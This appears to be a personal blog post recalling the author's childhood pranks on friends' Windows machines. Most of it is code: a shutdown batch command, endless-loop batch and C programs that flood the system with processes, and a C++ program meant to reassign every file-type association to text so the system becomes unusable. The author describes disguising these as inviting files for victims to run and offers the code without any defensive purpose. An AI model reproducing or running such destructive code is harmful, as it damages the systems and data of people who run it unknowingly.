Why I like programming

I remember the days I spent as a kid wreaking havoc on friends' computers by making them click on different Windows batch files I made with appealing names like, "Try Your Luck" and whatnot. They usually contained code like:
shutdown -s
or the more sophisticated (at that time):
:loop
start
goto loop

Once I learned C programming I went with less transparent methods using the more difficult to edit executable files. Here's a snippet of code whose consequences most programmers would understand:
for(;;)
system("start");

Of course, this wouldn't potentially be harmful to an operating system other than a Windows one. For Windows, this would cause what I like to call a "process bomb" - multiple instances of cmd eating up your system resources in this case. I wasn't really satisfied with this, so I took things a bit further:
main()
{
    for(;;)
    {
        system("start");
        system("notepad");
        system("calc");
        system("powercfg.cpl");
        system("control");
        system("echo lol");
    }

}
Still boring... I needed to find something to wreck someone's system.
# include <iostream>
# include <fstream>
# include <string>
# include <dos.h>

using namespace std;

void join(char[]);

int main()
{
    int next[2000],last[2000];
    int i=2,pointer=0,j,k;

    char str[]="assoc >code.txt",ch,end[500];

    ifstream in,sec;
    ofstream out;

    system(str);

    in.open("C:\\code.txt",ios::in);
    while(in.get(ch))
    {
            if(ch==10)
            {
                pointer=pointer+2;
                next[i]=pointer;
                i++;
            }
            else
                pointer++;
     }

     next[i]=pointer;
     i++;
     in.close();

     for(j=1;j<i-1;j++)
     {
         if(j==(i-2))
             last[j]=next[j+1]-1;
         else
             last[j]=next[j+1]-3;
     }

     sec.open("C:\\code.txt",ios::in);

        for(j=1;j<i-1;j++)
        {
            k=0;
            end[0]='\0';

            pointer=next[j];

            sec.seekg(next[j],ios::beg);
            while(pointer<=last[j])
            {
                sec.get(ch);
                end[k]=ch;
                k=k+1;
                if(end[k-1]=='=')
                    break;
                pointer++;
            }
            end[k]='\0';
            join(end);
            system(end);
            cout<<"\n";
        }
    return 0;
}
void join(char end[500])
{
    int i,len;

    len=strlen(end);

    for(i=len-1;i>=0;i--)
    {
        end[i+6]=end[i];
    }
    end[len+6]='t',end[len+7]='x',end[len+8]='t',end[len+9]='f',end[len+10]='i',end[len+11]='l',end[len+12]='e',end[len+13]='\0';
    end[0]='a',end[1]='s',end[2]='s',end[3]='o',end[4]='c',end[5]=' ';
}


This code makes your operating system unusable by changing the extension of every file in the system to ".txt"... if it works. I got it by compiling from different sources online.

Subscribe to my blog for more posts on programming and general geekiness!


Comments

Popular posts from this blog

How I got a 21% return on investment by investing in the NSE equity market without any experience

Goodbye Tofu(⏔)? - Google's Noto Project

Password authentication through contact!